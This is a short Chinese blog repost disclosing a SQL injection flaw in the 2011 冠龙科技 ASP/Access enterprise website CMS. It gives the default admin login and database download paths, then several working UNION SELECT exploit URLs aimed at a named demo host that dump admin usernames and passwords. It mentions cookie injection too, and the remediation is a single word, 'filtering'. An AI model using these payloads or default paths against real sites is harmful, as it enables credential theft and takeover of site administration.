冠龙科技企业网站管理系统 2011 sql注入漏洞及修复

源码简介:
冠龙科技企业网站管理系统是基于ASP+ACCESS技术开发的电子商务平台,属于全自动化、全智能的在线方

式管理、维护、更新的网站管理系统。此系统直接上传到你的网站空间就可以使用了。完全后台操作。

源码下载:
http://www.mycodes.net/25/4771.htm

Demo:
http://www1.glgk.com/2011/

默认后台:
http://www.xxxx.net/admin/login.asp

默认数据库:
http://www.xxxx.net/databases/%23database.mdb

exp:
http://www1.glgk.com/2011/CompVisualizeBig.asp?id=23 union select 1,username%2bpassword,3,4,5 from admin

或者单独查:
http://www1.glgk.com/2011/CompVisualizeBig.asp?id=23 union select 1,username,3,4,5 from admin
http://www1.glgk.com/2011/CompVisualizeBig.asp?id=23 union select 1,password,3,4,5 from admin

另外还存在多处的漏洞.可cookies注入.

上次有朋友问%2b是什么?就是ascii码的"+"号的十六进制值.

修复:过滤.

转自: Mr.DzY

你可能感兴趣的:(电子商务,源码下载,企业网站,管理系统,网站管理)